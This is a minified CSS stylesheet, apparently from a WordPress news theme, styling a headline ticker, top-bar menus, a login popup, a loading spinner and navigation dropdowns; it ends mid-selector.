.owl-item.sliderInUp{animation-name:sliderInUp;-webkit-animation-name:sliderInUp}.penci-headline-posts .owl-item.sliderOutUp{animation-name:sliderOutUp;-webkit-animation-name:sliderOutUp}.penci-headline-posts .slideInUp{-webkit-animation-name:slideInUp!important;animation-name:slideInUp!important}.penci-headline-posts .slideOutUp{-webkit-animation-name:slideOutUp!important;animation-name:slideOutUp!important}.penci-headline-posts .TickerslideInRight{-webkit-animation-name:TickerslideInRight!important;animation-name:TickerslideInRight!important}.penci-headline-posts .TickerslideOutRight{-webkit-animation-name:TickerslideOutRight!important;animation-name:TickerslideOutRight!important}.penci-headline-posts .fadeIn{-webkit-animation-name:fadeIn!important;animation-name:fadeIn!important}.penci-headline-posts .fadeOut{-webkit-animation-name:fadeOut!important;animation-name:fadeOut!important}a.penci-topbar-post-title{color:#fff;font-size:12px;font-family:var(--pchead-font);text-decoration:none!important;text-transform:uppercase;transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s;display:inline-block;white-space:nowrap;line-height:32px;font-weight:var(--pchead-wei)}a.penci-topbar-post-title:hover{color:var(--pcaccent-cl)}.loaded a.penci-topbar-post-title{opacity:1}.penci-owl-carousel-slider.swiper-fade .swiper-slide{pointer-events:initial}.penci-topbar-social{display:inline-block;float:right;z-index:10;position:relative}.penci-topbar-social>div{display:inline-block;vertical-align:top}.penci-topbar-social a{float:left;display:inline-block;vertical-align:top;margin-left:13px;font-size:13px;color:#fff;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;-ms-transition:all .2s linear;-o-transition:all .2s linear;transition:all .2s linear;line-height:32px}.penci-topbar-social a:first-child{margin-left:0}.penci-topbar-social a:hover{color:var(--pcaccent-cl)}.penci-topbar-trending .animated.TickerslideInRight,.penci-topbar-trending .animated.TickerslideOutRight,.penci-topbar-trending .animated.fadeIn,.penci-topbar-trending .animated.fadeOut,.penci-topbar-trending .animated.slideInUp,.penci-topbar-trending .animated.slideOutUp{-webkit-animation-duration:.3s;animation-duration:.3s}.penci-topbar-trending{display:flex;float:left;overflow:hidden;width:100%;max-width:420px;text-align:left;text-overflow:ellipsis;white-space:nowrap}.penci-topbar-trending .penci-trending-nav{float:left;position:relative;z-index:100;padding-left:8px;padding-right:8px}.penci-topbar-trending .swiper{overflow:visible;max-height:32px}.penci-topbar-trending .penci-owl-carousel .owl-item{background:#313131}.headline-title.nticker-style-2{margin-right:8px}.headline-title.nticker-style-4{margin-right:9px}.headline-title.nticker-style-2:after{width:0;height:0;border-top:8px solid transparent;border-left:9px solid var(--pcaccent-cl);border-bottom:8px solid transparent;border-top-color:transparent!important;border-bottom-color:transparent!important;content:"";position:absolute;right:-8px;top:50%;margin-top:-8px;display:inline-block}.headline-title.nticker-style-3{padding-right:25px}.headline-title.nticker-style-3:after{width:0;height:0;border-top:16px solid transparent;border-right:11px solid #313131;border-bottom:16px solid transparent;border-top-color:transparent!important;border-bottom-color:transparent!important;content:"";position:absolute;right:0;top:0;display:inline-block}.headline-title.nticker-style-4:after{width:0;height:0;content:"";position:absolute;right:-9px;top:0;display:inline-block;border-bottom:32px solid var(--pcaccent-cl);border-right:9px solid transparent;border-right-color:transparent!important;opacity:.8}.penci-enews-ticker.penci-topbar-trending{float:none;display:flex;text-overflow:clip;max-width:100%}.penci-enews-ticker.penci-topbar-trending .penci-owl-carousel .owl-item{background:#fff}.penci-enews-ticker .headline-title.nticker-style-3:after{border-color:#fff}.penci-enews-ticker .penci-trending-nav a,.penci-enews-ticker .penci-trending-nav a:hover{color:#666}div.penci-topbar-menu>ul,ul.penci-topbar-menu{display:inline-block;vertical-align:top;padding:0;margin:0}div.penci-topbar-menu>ul li,ul.penci-topbar-menu li{position:relative}div.penci-topbar-menu>ul>li,ul.penci-topbar-menu>li{display:inline-block;float:left;margin-right:20px}div.penci-topbar-menu>ul>li:last-child,ul.penci-topbar-menu>li:last-child{margin-right:0}div.penci-topbar-menu>ul>li a,ul.penci-topbar-menu>li a{color:#fff;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;background:0 0;font-size:11px;text-transform:uppercase;line-height:32px;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}div.penci-topbar-menu>ul>li>a,ul.penci-topbar-menu>li>a{display:inline-block;vertical-align:top}.penci-topbar-menu img{vertical-align:middle}div.penci-topbar-menu>ul>li a:hover,ul.penci-topbar-menu>li a:hover{color:var(--pcaccent-cl)}div.penci-topbar-menu>ul ul.sub-menu,ul.penci-topbar-menu ul.sub-menu{display:none;position:absolute;left:0;background:#313131;box-shadow:0 3px 3px rgba(0,0,0,.15);-webkit-box-shadow:0 3px 3px rgba(0,0,0,.15);-moz-box-shadow:0 3px 3px rgba(0,0,0,.15)}div.penci-topbar-menu>ul li:hover>ul.sub-menu,ul.penci-topbar-menu li:hover>ul.sub-menu{display:block;z-index:105}div.penci-topbar-menu>ul li:hover ul.sub-menu ul.sub-menu,ul.penci-topbar-menu li:hover ul.sub-menu ul.sub-menu{left:100%;top:0}div.penci-topbar-menu>ul ul.sub-menu li a,ul.penci-topbar-menu ul.sub-menu li a{width:150px;padding:7px 0;margin:0 20px;line-height:1.7;display:block;text-align:left}div.penci-topbar-menu>ul ul.sub-menu li a,div.penci-topbar-menu>ul>li>ul.sub-menu>li:first-child,ul.penci-topbar-menu ul.sub-menu li a,ul.penci-topbar-menu>li>ul.sub-menu>li:first-child{border-top:1px solid #414141}div.penci-topbar-menu>ul ul.sub-menu li:first-child>a,ul.penci-topbar-menu ul.sub-menu>li:first-child>a{border-top:none}.penci-top-bar .pclogin-item,.penci-top-bar .pctopbar-login-btn{display:inline-block;position:relative;vertical-align:top}.penci-topbar-social .pclogin-item,.penci-topbar-social-mobile .pclogin-item{margin-right:13px}.penci-top-bar .pclogin-item:not(.penci-login-popup-btn) a,.penci-top-bar .penci-login-popup-btn a{font-size:inherit}.penci-top-bar .penci-login-popup-btn a i{font-size:13px}.pclogin-item.login-popup span{margin-left:4px;font-size:inherit}.penci-topbar-social.penci-lgdisplay-right .pclogin-item{margin-right:0;margin-left:13px}.pctopbar-login-btn .pclogin-sub{position:absolute;left:0;width:200px;top:32px;background:#313131;padding:10px 20px;display:none;z-index:10}.pctopbar-login-btn li.pclogin-item:hover>.pclogin-sub{display:block}.pctopbar-login-btn li.pclogin-item img{position:relative;top:5px;margin:0;margin-right:5px}.pctopbar-login-btn .pclogin-sub li{display:block;float:none;font-size:inherit}.pctopbar-login-btn .pclogin-sub li a{display:block;float:none;font-size:inherit}.pctopbar-login-btn .pclogin-sub li a i{margin-right:5px;font-style:normal}.penci-loader-effect{width:40px;height:40px;margin:0 auto;margin-top:-26px;margin-left:-26px;display:none;position:absolute;top:50%;left:50%;z-index:300}.penci-loader-effect .penci-ld{width:40px;height:40px;position:relative;margin:0;display:block}.penci-ld .penci-ldin{width:100%;height:100%;position:absolute;left:0;top:0}.penci-ld .penci-ld2{-webkit-transform:rotate(30deg);-ms-transform:rotate(30deg);transform:rotate(30deg)}.penci-ld .penci-ld3{-webkit-transform:rotate(60deg);-ms-transform:rotate(60deg);transform:rotate(60deg)}.penci-ld .penci-ld4{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.penci-ld .penci-ld5{-webkit-transform:rotate(120deg);-ms-transform:rotate(120deg);transform:rotate(120deg)}.penci-ld .penci-ld6{-webkit-transform:rotate(150deg);-ms-transform:rotate(150deg);transform:rotate(150deg)}.penci-ld .penci-ld7{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.penci-ld .penci-ld8{-webkit-transform:rotate(210deg);-ms-transform:rotate(210deg);transform:rotate(210deg)}.penci-ld .penci-ld9{-webkit-transform:rotate(240deg);-ms-transform:rotate(240deg);transform:rotate(240deg)}.penci-ld .penci-ld10{-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.penci-ld .penci-ld11{-webkit-transform:rotate(300deg);-ms-transform:rotate(300deg);transform:rotate(300deg)}.penci-ld .penci-ld12{-webkit-transform:rotate(330deg);-ms-transform:rotate(330deg);transform:rotate(330deg)}.penci-ld .penci-ldin:before{content:"";display:block;margin:0 auto;width:15%;height:15%;border-radius:100%;-webkit-animation:LoadingCircleEf .7s infinite ease-in-out both;animation:LoadingCircleEf .7s infinite ease-in-out both;background:var(--pcaccent-cl)}.penci-ld .penci-ld2:before{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.penci-ld .penci-ld3:before{-webkit-animation-delay:-1s;animation-delay:-1s}.penci-ld .penci-ld4:before{-webkit-animation-delay:-.9s;animation-delay:-.9s}.penci-ld .penci-ld5:before{-webkit-animation-delay:-.8s;animation-delay:-.8s}.penci-ld .penci-ld6:before{-webkit-animation-delay:-.7s;animation-delay:-.7s}.penci-ld .penci-ld7:before{-webkit-animation-delay:-.6s;animation-delay:-.6s}.penci-ld .penci-ld8:before{-webkit-animation-delay:-.5s;animation-delay:-.5s}.penci-ld .penci-ld9:before{-webkit-animation-delay:-.4s;animation-delay:-.4s}.penci-ld .penci-ld10:before{-webkit-animation-delay:-.3s;animation-delay:-.3s}.penci-ld .penci-ld11:before{-webkit-animation-delay:-.2s;animation-delay:-.2s}.penci-ld .penci-ld12:before{-webkit-animation-delay:-.1s;animation-delay:-.1s}@-webkit-keyframes LoadingCircleEf{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes LoadingCircleEf{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{-webkit-transform:scale(1);transform:scale(1)}}.pc-login-register-mobile .pclogin-sub{left:auto;right:auto;z-index:999999}.penci-hidden{display:none}#penci-login-popup{position:relative;display:block;vertical-align:middle;margin:0 auto;text-align:left;z-index:10;width:100%;max-width:470px;padding:44px;background:0 0;background-size:auto;color:#313131;opacity:0;-webkit-transition:all .4s cubic-bezier(.5,0,.1,1);transition:all .4s cubic-bezier(.5,0,.1,1);transform:scale(.6);-webkit-transform:scale(.6)}#penci-login-popup:after,#penci-login-popup:before{content:"";position:absolute;z-index:-1;top:0;left:0;width:100%;height:100%;display:block;background:#fff no-repeat fixed center center;opacity:.75}#penci-login-popup:after{z-index:-2;background-color:transparent;opacity:1}.mfp-ready #penci-login-popup{opacity:1;transform:scale(1);-webkit-transform:scale(1)}.mfp-ready.mfp-removing #penci-login-popup{opacity:0;transform:scale(.6);-webkit-transform:scale(.6)}.mfp-bg.penci-popup-animation{opacity:0;transition:all .3s ease-out}.mfp-bg.penci-popup-animation.mfp-ready{opacity:.9}.mfp-bg.penci-popup-animation.mfp-ready.mfp-removing{opacity:0}#penci-login-popup.ajax-loading:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:10;background:#fff;opacity:.65}#penci-login-popup.ajax-loading .penci-loader-effect{display:block}.penci-login-container .penci-login .register-input-checkbox,.penci-login-container .penci-login input[type=email],.penci-login-container .penci-login input[type=password],.penci-login-container .penci-login input[type=submit],.penci-login-container .penci-login input[type=tel],.penci-login-container .penci-login input[type=text]{width:100%;padding:0 15px;border-radius:0;margin-bottom:20px;line-height:40px}.register-input-checkbox:not(.checked) .pcpop-button{pointer-events:none;cursor:disabled;opacity:.6}.penci-lgpop-title{text-align:center;line-height:1.2;text-transform:uppercase;font-size:24px;margin-bottom:20px;letter-spacing:0;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.pclogin-input-checkbox{margin-bottom:20px}.pclg-2col>div{float:left;width:47.5%;margin-right:5%}.pclg-2col>div:last-child{margin-right:0}.top-search-classes{float:right;width:20px;text-align:center;margin-right:0}#navigation .pcheader-icon.penci-top-search{margin-right:0}#navigation .pcheader-icon,.top-search-classes.shoping-cart-icon{margin-right:10px}.top-search-classes.shoping-cart-icon{position:relative}#navigation .pcheader-icon:first-child,#navigation.header-4 .pcheader-icon,#navigation.header-5 .pcheader-icon,#navigation.header-6 .pcheader-icon{margin-right:0}.top-search-classes a.cart-contents,.top-search-classes>a{font-size:14px;line-height:58px;display:block;height:58px;cursor:pointer;-moz-transition:all .3s;-o-transition:all .3s;-webkit-transition:all .3s;transition:all .3s;color:#313131;background:0 0}#navigation.header-6 .menu{margin-right:30px}@media only screen and (min-width:961px){#navigation.header-10 .top-search-classes>a,#navigation.header-10 a.cart-contents,#navigation.header-11 .top-search-classes>a,#navigation.header-11 a.cart-contents,#navigation.header-6 .top-search-classes>a,#navigation.header-6 a.cart-contents{line-height:80px;height:80px}}@media only screen and (max-width:960px){#navigation.header-10 .top-search-classes>a,#navigation.header-10 a.cart-contents,#navigation.header-11 .top-search-classes>a,#navigation.header-11 a.cart-contents,#navigation.header-6 .top-search-classes>a,#navigation.header-6 a.cart-contents{line-height:60px;height:60px}}.is-sticky #navigation.header-10 .top-search-classes>a,.is-sticky #navigation.header-10 a.cart-contents,.is-sticky #navigation.header-11 .top-search-classes>a,.is-sticky #navigation.header-11 a.cart-contents,.is-sticky #navigation.header-6 .top-search-classes>a,.is-sticky #navigation.header-6 a.cart-contents{line-height:58px;height:58px}.top-search-classes a.cart-contents>i,.top-search-classes>a>i{width:20px}.top-search-classes a.cart-contents,.top-search-classes.compare-icon>a,.top-search-classes.shoping-cart-icon>a,.top-search-classes.wishlist-icon>a{position:relative}.top-search-classes a.cart-contents>i,.top-search-classes.shoping-cart-icon>a>i{font-size:17px}.top-search-classes a.cart-contents>span,.top-search-classes.compare-icon>a>span,.top-search-classes.shoping-cart-icon>a>span,.top-search-classes.wishlist-icon>a>span{font-family:var(--pcbody-font);font-size:9px;line-height:14px;position:absolute;z-index:1;top:calc(50% - 17px);right:-4px;display:inline-block;width:14px;height:14px;-moz-transition:all .3s;-webkit-transition:all .3s;transition:all .3s;text-align:center;white-space:nowrap;color:#fff;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;background:var(--pcaccent-cl)}.top-search-classes .svg-icon{display:inline-block;margin-top:5px}.top-search-classes.shoping-cart-icon .svg-icon{margin-top:3px}@media only screen and (max-width:960px){#navigation.header-10 .pcheader-icon a.cart-contents,#navigation.header-10 .pcheader-icon>a,#navigation.header-11 .pcheader-icon a.cart-contents,#navigation.header-11 .pcheader-icon>a,#navigation.header-9 .pcheader-icon a.cart-contents,#navigation.header-9 .pcheader-icon>a{height:58px;line-height:58px}}#navigation{background:#fff;height:60px;z-index:9999;width:100%;-webkit-backface-visibility:hidden;border-bottom:1px solid #ececec;transition:box-shadow .3s;-webkit-transition:box-shadow .3s;-moz-transition:box-shadow .3s;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.wrapper-boxed.enable-boxed #navigation{transition:height .3s,box-shadow .3s;-webkit-transition:height .3s,box-shadow .3s;-moz-transition:height .3s,box-shadow .3s}#navigation.sticky-active{z-index:99999}#navigation.header-6,#navigation.header-9{transition:box-shadow .3s,height .3s;-webkit-transition:box-shadow .3s,height .3s;-moz-transition:box-shadow .3s,height .3s}#navigation.header-7,#navigation.header-8,#navigation.header-9{padding:0 20px}#navigation.header-layout-bottom{box-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;-moz-box-shadow:0 0 0 transparent;border-top:1px solid #ececec}#navigation.header-1,#navigation.header-4,#navigation.header-7{border-top:1px solid transparent!important}.is-sticky #navigation{box-shadow:0 1px 5px rgba(190,190,190,.46);-webkit-box-shadow:0 1px 5px rgba(190,190,190,.46);-moz-box-shadow:0 1px 5px rgba(190,190,190,.46);border-color:transparent!important}.wrapper-boxed.enable-boxed .is-sticky #navigation{margin:0 auto;left:0;right:0;width:100%;max-width:calc(var(--pcctain) + 60px)}.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed .is-sticky #navigation{max-width:calc(var(--pcctain2) + 30px)}.slicknav_menu{display:none}#navigation .container{position:relative;display:table;text-align:center}#navigation.header-7 .container,#navigation.header-8 .container,#navigation.header-9 .container{width:100%;--pcctain:calc(100vw - 40px)}#navigation .container .inner-top-navigation{display:inline-block;vertical-align:top}#navigation .menu{float:left}#navigation.header-4 .menu,#navigation.header-4 .pcheader-icon,#navigation.header-4 .top-search-classes,#navigation.header-5 .menu,#navigation.header-5 .pcheader-icon,#navigation.header-5 .top-search-classes{float:none;vertical-align:top}#navigation.header-4 .pcheader-icon,#navigation.header-4 .top-search-classes,#navigation.header-5 .pcheader-icon,#navigation.header-5 .top-search-classes{margin-left:40px;display:inline-block}#navigation .menu>ul>li,#navigation ul.menu>li{display:inline-block;position:relative;float:left;margin-right:30px}#navigation .menu>li:last-child,#navigation .menu>ul>li:last-child{margin-right:0}#navigation .menu>li>a,#navigation .sub-menu li a{font-family:var(--pchead-font);font-size:12px;color:#313131;text-transform:uppercase;display:inline-block;-o-transition:.3s;-ms-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;position:relative;font-weight:var(--pchead-wei);text-decoration:none}#navigation .menu>li>a{line-height:58px}#navigation .menu>li>a>i,#navigation .sub-menu li>a>i{font-size:13px;margin-right:5px}#navigation .menu>ul>li>a:before,#navigation ul.menu>li>a:before{content:"";position:absolute;bottom:18px;transition:all .2s;-webkit-transition:all .2s;-moz-transition:all .2s;left:50%;height:2px;width:0;background:var(--pcaccent-cl)}#navigation .menu>ul>li:hover>a:before,#navigation .menu>ul>li>a:hover:before,#navigation ul.menu>li:hover>a:before,#navigation ul.menu>li>a:hover:before{left:0;width:100%}#navigation .menu>li.current-menu-ancestor>a,#navigation .menu>li.current-menu-item>a,#navigation .menu>li.current_page_item>a,#navigation .menu>li:hover>a,#navigation .menu>li>a:hover{color:var(--pcaccent-cl)}#navigation .menu>ul>li>a>img,#navigation ul.menu>li>a>img{vertical-align:middle}#navigation .button-menu-mobile{display:none;float:left;line-height:60px;text-align:center;color:#313131;font-size:21px;cursor:pointer;transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s}#logo a{display:inline-block;vertical-align:top}#logo h1{margin:0}.penci-mobile-hlogo{display:none;float:left;margin-left:10px}.penci-mobile-hlogo a{display:inline-block}.penci-mobile-hlogo img{max-height:60px;padding:8px 0;width:auto}@media only screen and (max-width:960px){.penci-hlogo-center #navigation.header-6 #logo,.penci-hlogo-center .penci-mobile-hlogo{float:none;margin:0;position:absolute;left:50%;top:0;transform:translateX(-50%);-webkit-transform:translateX(-50%);z-index:10}.penci-mobile-hlogo{display:inline-block}}#navigation.header-6{height:82px}#navigation.header-6 .container{text-align:right}#navigation.header-6 .menu{float:none}#navigation.header-6 #logo{float:left;display:block;text-align:left}#navigation.header-6 #logo img{padding:12px 0;max-height:80px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;width:auto}#navigation.header-6 .menu>li>a,#navigation.header-6 ul.menu>li>a{line-height:80px}#navigation.header-6 .menu>ul>li>a:before,#navigation.header-6 ul.menu>li>a:before{bottom:29px}#navigation.header-6 .pcheader-icon{margin-left:40px}#navigation.header-6 .pcheader-icon>a{height:80px;line-height:80px}@media only screen and (min-width:961px){.header-search-style-default #navigation.header-6 .penci-menuhbg-toggle,.header-search-style-default #navigation.header-6 .show-search{height:80px}.header-search-style-default #navigation.header-6 .show-search a.close-search{height:80px;line-height:80px}.header-search-style-default #navigation.header-6 .show-search form.pc-searchform input.search-input{height:80px;padding:26px 35px 26px 0}}#navigation.header-10>.container,#navigation.header-11>.container{display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}#navigation.header-10 .penci-menu-wrap,#navigation.header-11 .penci-menu-wrap{display:-webkit-flex;display:-ms-flexbox;display:flex;flex:3 0;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;width:100%;float:left;text-align:center;-webkit-justify-content:space-between;justify-content:space-between}#navigation.header-10 .penci-menu-wrap #logo,#navigation.header-11 .penci-menu-wrap #logo{width:24%;display:flex;justify-content:center;align-items:center;position:relative}#navigation.header-10 .penci-menu-wrap .menu,#navigation.header-11 .penci-menu-wrap .menu{padding:0;margin:0;display:flex;align-items:center;flex-wrap:wrap}#navigation.header-10,#navigation.header-11{height:82px}#navigation.header-10 .menu>li>a,#navigation.header-10 ul.menu>li>a,#navigation.header-11 .menu>li>a,#navigation.header-11 ul.menu>li>a{line-height:80px}#navigation.header-10 #logo img,#navigation.header-11 #logo img{padding:12px 0;max-height:80px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;width:auto}.is-sticky #navigation.header-10 #logo img,.is-sticky #navigation.header-11 #logo img{padding:7px 0}#navigation.header-10 .penci-header-extra,#navigation.header-11 .penci-header-extra{margin-left:15px}#navigation.header-10 .pcheader-icon>a,#navigation.header-10 .penci-menuhbg-toggle,#navigation.header-10 .show-search a.close-search,#navigation.header-11 .pcheader-icon>a,#navigation.header-11 .penci-menuhbg-toggle,#navigation.header-11 .show-search a.close-search{height:80px;line-height:80px}@media only screen and (min-width:961px){.header-search-style-default #navigation.header-11 .show-search form.pc-searchform input.search-input{height:80px;padding:26px 35px 26px 20px}.header-search-style-default #navigation.header-10 .show-search form.pc-searchform input.search-input{height:80px;padding:26px 35px 26px 0}.header-search-style-default #navigation.header-10 .show-search,.header-search-style-default #navigation.header-11 .show-search{height:80px}.header-search-style-default #navigation.header-11 .show-search a.close-search{right:10px}}.is-sticky #navigation.header-10,.is-sticky #navigation.header-11,.is-sticky #navigation.header-6{height:60px}.is-sticky #navigation.header-6 #logo img{max-height:58px;padding:7px 0}.is-sticky #navigation.header-6 .menu>li>a,.is-sticky #navigation.header-6 ul.menu>li>a{line-height:58px}.is-sticky #navigation.header-6 .menu>ul>li>a:before,.is-sticky #navigation.header-6 ul.menu>li>a:before{bottom:18px}.is-sticky #navigation.header-10 .penci-menuhbg-toggle,.is-sticky #navigation.header-10 .show-search,.is-sticky #navigation.header-11 .penci-menuhbg-toggle,.is-sticky #navigation.header-11 .show-search,.is-sticky #navigation.header-6 .penci-menuhbg-toggle,.is-sticky #navigation.header-6 .show-search{height:58px}.is-sticky #navigation.header-10 .pcheader-icon>a,.is-sticky #navigation.header-10 .show-search a.close-search,.is-sticky #navigation.header-11 .pcheader-icon>a,.is-sticky #navigation.header-11 .show-search a.close-search,.is-sticky #navigation.header-6 .pcheader-icon>a,.is-sticky #navigation.header-6 .show-search a.close-search{height:58px;line-height:58px}.is-sticky #navigation.header-11 .show-search form.pc-searchform input.search-input{padding:15px 35px 15px 15px;height:58px}.is-sticky #navigation.header-10 .show-search form.pc-searchform input.search-input,.is-sticky #navigation.header-6 .show-search form.pc-searchform input.search-input{height:58px;padding:15px 35px 15px 0}#navigation .penci-dropdown-menu,#navigation .sub-menu,.navigation .penci-dropdown-menu,.navigation .sub-menu{pointer-events:none}#navigation li:hover>.penci-dropdown-menu,#navigation li:hover>.sub-menu,.navigation li:hover>.penci-dropdown-menu,.navigation li:hover>.sub-menu{pointer-events:auto}#navigation .menu .sub-menu{visibility:hidden;opacity:0;position:absolute;left:0;z-index:9999;box-shadow:0 3px 3px rgba(190,190,190,.6);-webkit-box-shadow:0 3px 3px rgba(190,190,190,.6);-moz-box-shadow:0 3px 3px rgba(190,190,190,.6);border-top:1px solid #ececec;margin-top:0;background:#fff}#navigation ul.menu ul.sub-menu li>a{margin:0 20px;padding:12px 0;font-size:12px;min-width:200px;line-height:1.4;-moz-transition:color .3s,background-color .3s;-webkit-transition:color .3s,background-color .3s;transition:color .3s,background-color .3s;border-bottom:1px solid #e0e0e0;text-align:left;border-left:none!important;position:relative;overflow:hidden;vertical-align:top}#navigation ul.menu ul.sub-menu li,#navigation ul.menu ul.sub-menu ul li{padding-right:0;margin-right:0;float:none;position:relative;width:100%}#navigation .menu ul.sub-menu>li:last-child>a{border-bottom:none}#navigation .menu .sub-menu ul{left:100%;top:0}body #navigation .menu .sub-menu,body .navigation .menu .sub-menu,body .penci-dropdown-menu{transition:transform .27s ease-in-out,opacity .27s ease-in-out,visibility .27s ease-in-out;-webkit-transform-origin:0 0;-moz-transform-origin:0 0;-ms-transform-origin:0 0;-o-transform-origin:0 0;transform-origin:0 0}body.pcmn-drdw-style-slide_down #navigation .menu .sub-menu,body.pcmn-drdw-style-slide_down .navigation .menu .sub-menu,body.pcmn-drdw-style-slide_down .penci-dropdown-menu{-webkit-transform:rotateX(-90deg);-moz-transform:rotateX(-90deg);-ms-transform:rotateX(-90deg);-o-transform:rotateX(-90deg);transform:rotateX(-90deg)}body.pcmn-drdw-style-slide_down #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-slide_down #navigation .menu ul li:hover>ul,body.pcmn-drdw-style-slide_down #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-slide_down #navigation ul.menu li:hover>ul,body.pcmn-drdw-style-slide_down .navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-slide_down .navigation .menu ul li:hover>ul,body.pcmn-drdw-style-slide_down .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-slide_down .navigation ul.menu li:hover>ul{visibility:visible;opacity:1;-webkit-transform:rotateX(0);-moz-transform:rotateX(0);-ms-transform:rotateX(0);-o-transform:rotateX(0);transform:rotateX(0)}body.pcmn-drdw-style-fadein_up #navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_up .navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_up .penci-dropdown-menu{-ms-transform:translateY(10px);transform:translateY(10px)}body.pcmn-drdw-style-fadein_down #navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_down .navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_down .penci-dropdown-menu{-ms-transform:translateY(-10px);transform:translateY(-10px)}body.pcmn-drdw-style-fadein_down #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_down #navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_down #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_down #navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_down .navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_down .navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_down .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_down .navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_up #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_up #navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_up #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_up #navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_up .navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_up .navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_up .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_up .navigation ul.menu li:hover>ul{visibility:visible;opacity:1;-ms-transform:translateY(0);transform:translateY(0)}body.pcmn-drdw-style-fadein_left #navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_left .navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_left .penci-dropdown-menu{-ms-transform:translateX(-10px);transform:translateX(-10px)}body.pcmn-drdw-style-fadein_right #navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_right .navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_right .penci-dropdown-menu{-ms-transform:translateX(10px);transform:translateX(10px)}body.pcmn-drdw-style-fadein_left #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_left #navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_left #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_left #navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_left .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_left .navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_right #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_right #navigation .menu ul li:hover>ul,body.pcmn-drdw-style-fadein_right #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_right #navigation ul.menu li:hover>ul,body.pcmn-drdw-style-fadein_right .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_right .navigation ul.menu li:hover>ul{visibility:visible;opacity:1;-ms-transform:translateX(0);transform:translateX(0)}body.pcmn-drdw-style-fadein_none #navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_none .navigation .menu .sub-menu,body.pcmn-drdw-style-fadein_none .penci-dropdown-menu{opacity:0}body.pcmn-drdw-style-fadein_none #navigation .menu ul li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_none #navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_none .navigation ul.menu li:hover>.penci-dropdown-menu,body.pcmn-drdw-style-fadein_none .navigation ul.menu li:hover>ul{visibility:visible;opacity:1}#navigation .menu li.penci-mega-menu{position:static!important}li.penci-mega-menu>ul.sub-menu{display:none}#sidebar-nav li.penci-mega-menu .penci-content-megamenu,.penci-menu-hbg li.penci-mega-menu .penci-content-megamenu{display:none!important}#navigation .menu li.penci-mega-menu>ul.sub-menu{width:100%;padding:0!important;clear:both;display:block}#navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu{width:100vw!important;left:calc((100vw - var(--pcctain))/ 2 * -1)!important}#navigation .menu li.penci-block-mega.penci-mg-fullwidth,#navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-center,#navigation .menu 